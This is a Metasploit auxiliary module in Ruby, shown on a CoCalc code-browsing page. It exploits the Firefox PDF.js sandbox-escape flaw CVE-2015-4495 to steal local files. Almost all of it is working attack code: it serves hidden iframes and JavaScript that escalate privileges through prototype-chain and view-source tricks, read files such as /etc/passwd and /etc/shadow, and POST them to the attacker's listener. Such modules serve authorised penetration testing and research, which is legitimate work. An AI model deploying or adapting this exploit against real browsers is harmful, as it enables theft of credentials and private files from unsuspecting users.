Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Firefox PDF.js Browser File Theft',
15
'Description' => %q{
16
This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR
17
38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability
18
occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with
19
privileges to read local files. The in-the-wild malicious payloads searched for sensitive
20
files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they
21
do not use the Mozilla PDF viewer.
22
},
23
'Author' => [
24
'Unknown', # From an 0day served on Russian news website
25
'fukusa', # Hacker news member that reported the issue
26
'Unknown' # Metasploit module
27
],
28
'License' => MSF_LICENSE,
29
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
30
'PassiveActions' => [ 'WebServer' ],
31
'References' => [
32
['URL', 'https://paste.debian.net/290146'], # 0day exploit
33
['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer
34
['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],
35
['CVE', '2015-4495']
36
],
37
'DefaultAction' => 'WebServer',
38
'Notes' => {
39
'Reliability' => UNKNOWN_RELIABILITY,
40
'Stability' => UNKNOWN_STABILITY,
41
'SideEffects' => UNKNOWN_SIDE_EFFECTS
42
}
43
)
44
)
45
46
register_options([
47
OptString.new('FILES', [
48
false,
49
'Comma-separated list of files to steal',
50
'/etc/passwd, /etc/shadow'
51
])
52
])
53
54
register_advanced_options([
55
OptInt.new('PER_FILE_SLEEP', [
56
false,
57
'Milliseconds to wait before attempting to read the frame containing each file',
58
250
59
])
60
])
61
end
62
63
def run
64
print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")
65
exploit
66
end
67
68
def on_request_uri(cli, request)
69
if request.method.downcase == 'post'
70
print_status('Got POST request...')
71
process_post(cli, request)
72
send_response_html(cli, '')
73
else
74
print_status('Sending exploit...')
75
send_response_html(cli, html)
76
end
77
end
78
79
def process_post(cli, req)
80
name = req.qstring['name']
81
print_good("Received #{name}, size #{req.body.bytes.length}...")
82
output = store_loot(
83
name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file'
84
)
85
print_good("Stored to #{output}")
86
end
87
88
def html
89
exploit_js = js + file_payload + '}, 20);'
90
91
"<!doctype html><html><body><script>#{exploit_js}</script></body></html>"
92
end
93
94
def backend_url
95
proto = (datastore['SSL'] ? 'https' : 'http')
96
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
97
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
98
resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
99
100
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
101
end
102
103
def file_payload
104
%Q|
105
var files = (#{JSON.generate(file_urls)});
106
function next() {
107
var f = files.pop();
108
if (f) {
109
get("file://"+f, function() {
110
var data = get_data(this);
111
var x = new XMLHttpRequest;
112
x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));
113
x.send(data);
114
}, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);
115
setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);
116
}
117
}
118
next();
119
|
120
end
121
122
def file_urls
123
datastore['FILES'].split(',').map(&:strip)
124
end
125
126
def js
127
<<~EOJS
128
function xml2string(obj) {
129
return new XMLSerializer().serializeToString(obj);
130
}
131
132
function __proto(obj) {
133
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
134
}
135
136
function get(path, callback, timeout, template, value) {
137
callback = _(callback);
138
if (template && value) {
139
callback = callback.replace(template, value);
140
}
141
js_call1 = 'javascript:' + _(function() {
142
try {
143
open("%url%", "_self");
144
} catch (e) {
145
history.back();
146
}
147
undefined;
148
}, "%url%", path);
149
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
150
sandboxContext(_(function() {
151
i = document.getElementById('i');
152
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
153
i2 = document.getElementById('i2');
154
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
155
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
156
}));
157
setTimeout((function() {
158
sandboxContext(_(function() {
159
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
160
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
161
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
162
}));
163
}), timeout);
164
}
165
166
function get_data(obj) {
167
data = null;
168
try {
169
data = obj.document.documentElement.innerHTML;
170
if (data.indexOf('dirListing') < 0) {
171
throw new Error();
172
}
173
} catch (e) {
174
if (this.document instanceof XMLDocument) {
175
data = xml2string(this.document);
176
} else {
177
try {
178
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
179
data = this.document.body.firstChild.textContent;
180
} else {
181
throw new Error();
182
}
183
} catch (e) {
184
try {
185
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
186
return null;
187
} else {
188
throw new Error();
189
}
190
} catch (e) {
191
;;
192
}
193
}
194
}
195
}
196
return data;
197
}
198
199
function _(s, template, value) {
200
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
201
s = s.substring(0, s.length - 1);
202
if (template && value) {
203
s = s.replace(template, value);
204
}
205
s += __proto;
206
s += xml2string;
207
s += get_data;
208
s = s.replace(/\\s\\/\\/.*\\n/g, "");
209
s = s + ";undefined";
210
return s;
211
}
212
213
function get_sandbox_context() {
214
if (window.my_win_id == null) {
215
for (var i = 0; i < 20; i++) {
216
try {
217
if (window[i].location.toString().indexOf("view-source:") != -1) {
218
my_win_id = i;
219
break;
220
}
221
} catch (e) {}
222
}
223
};
224
if (window.my_win_id == null)
225
return;
226
clearInterval(sandbox_context_i);
227
object.data = 'view-source:' + blobURL;
228
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
229
object.data = 'data:text/html,<'+'html/>';
230
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
231
'"position:absolute; left:-9999px;" onload = "'+_(function(){
232
window.wrappedJSObject.sandboxContext=(function(cmd) {
233
with(importFunction.constructor('return this')()) {
234
return eval(cmd);
235
}
236
});
237
}) + '"/>');
238
}
239
240
241
var i = document.createElement("iframe");
242
i.id = "i";
243
i.width=i.height=0;
244
i.style='position:absolute;left:-9999px;';
245
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
246
document.documentElement.appendChild(i);
247
i.onload = function() {
248
if (this.contentDocument.styleSheets.length > 0) {
249
var i2 = document.createElement("iframe");
250
i2.id = "i2";
251
i2.width=i2.height=0;
252
i2.style='position:absolute;left:-9999px;';
253
i2.src = "data:application/pdf,";
254
document.documentElement.appendChild(i2);
255
pdfBlob = new Blob([''], {
256
type: 'application/pdf'
257
});
258
blobURL = URL.createObjectURL(pdfBlob);
259
object = document.createElement('object');
260
object.data = 'data:application/pdf,';
261
object.onload = (function() {
262
sandbox_context_i = setInterval(get_sandbox_context, 200);
263
object.onload = null;
264
object.data = 'view-source:' + location.href;
265
return;
266
});
267
document.documentElement.appendChild(object);
268
} else {
269
this.contentWindow.location.reload();
270
}
271
}
272
273
var kill = setInterval(function() {
274
if (window.sandboxContext) {
275
clearInterval(kill);
276
} else {
277
return;
278
}
279
EOJS
280
end
281
end
282
283